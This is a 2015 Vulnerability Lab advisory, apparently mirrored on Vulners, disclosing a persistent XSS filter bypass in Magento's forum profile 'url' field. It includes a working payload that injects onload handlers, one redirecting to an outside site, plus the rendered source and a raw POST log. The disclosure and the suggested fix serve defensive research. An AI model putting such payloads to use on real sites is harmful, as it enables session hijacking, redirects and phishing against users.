Document Title:
===============
Ebay Magento Bug Bounty #9 - Bypass & Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1443
EIBBP-31471
Release Date:
=============
2015-08-06
Vulnerability Laboratory ID (VL-ID):
====================================
1443
Common Vulnerability Scoring System:
====================================
4.1
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side input validation vulnerability and filter bypass issue in the official Magento web-application.
Vulnerability Disclosure Timeline:
==================================
2015-08-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Magento
Product: Magento - Web Application Service 2015 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side mail encoding web vulnerability has been discovered in the official in the official Magento web-application.
The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server & web-application.
The vulnerability is located in the edit_profile module of the magentocommerce service (tier 2). The vulnerability allows a local low privileged application
user account to bypass the filter validation to execute own script code on the application-side of the service. The injection request method is POST and the
attack vector is persistent. The issue can be exploited in connection with a non expired user session to request cookies, phish or execute persistent
manipulated module context.
The page edite profile it is vulnerable to xss attack meaning that if an any user can be tricked to visit a special crafted URL created by a remote attacker
(profie) via send link profile , the attacker can insert arbitrary script code into the profiles page.
The security risk of the filter bypass and persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1.
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the persistent attack vector.
Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of
affected or connected module context.
Vulnerable Domain(s):
[+] magentocommerce.com
Vulnerable Module(s):
[+] boards/member/
Vulnerable Parameter(s):
[+] url
Affected Context Module(s):
[+] edit_profile/
Proof of Concept (PoC):
=======================
The filter bypass and persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Watch the video demonstration that shows how to zero-way bypass the validation and execute the persistent script code
PoC: Payload
" onload=document.location='http://evolution-sec.com'> " onload=alert('Zero-way')>
PoC: Source (Execution)
<tr>
<td class="tableCellTwo"><div class="defaultBold">URL</div></td>
<td class="tableCellOne"><[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]a href="http://" onload="alert('Zero-way')">" target="_blank" class = 'clear_link'><img src="http://www.magentocommerce.com/themes/forum_themes/magento/images/icon_www.gif" alt="http://"[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]
onload="alert('Zero-way')">" title="http://" [PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]onload=alert('Zero-way')>" border="0" /></a></td>
</tr>
--- PoC Session Logs [POST] ---
POST log Host=www.magentocommerce.com User-Agent=Mozilla/5.0 (Windows NT 5.2; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding=gzip, deflate Referer=https://www.magentocommerce.com/boards/member/edit_profile/ Cookie=frontend=54fdjt35kdngajsv1d43d3[...] Connection=keep-alive Content-Type=application/x-www-form-urlencoded Content-Length=118 POSTDATA=url=" onload=alert('Zero-way')>"&location=&occupation=&interests=&aol_im=&icq=&yahoo_im=&msn_im=&bio= respons <td class="tableCellOne"><a href="http://" onload="alert('Zero-way')">" target="_blank" class = 'clear_link'><img src="http://www.magentocommerce.com/themes/forum_themes/magento/images/icon_www.gif" alt="http://" onload="alert('Zero-way')">" title="http://" onload=alert('Zero-way')>" border="0" /></a>
Reference(s):
https://www.magentocommerce.com/boards/member/edit_profile/
https://www.magentocommerce.com
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction to the input field. Disallow usage of special chars in profile inputs and parse the input values of the connected
POST method request to prevent an application-side execution.
Security Risk:
==============
The security risk of the filter bypass and application-side input validation web vulnerability is estimated as medium. (CVSS 4.1)
Credits & Authors:
==================
http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation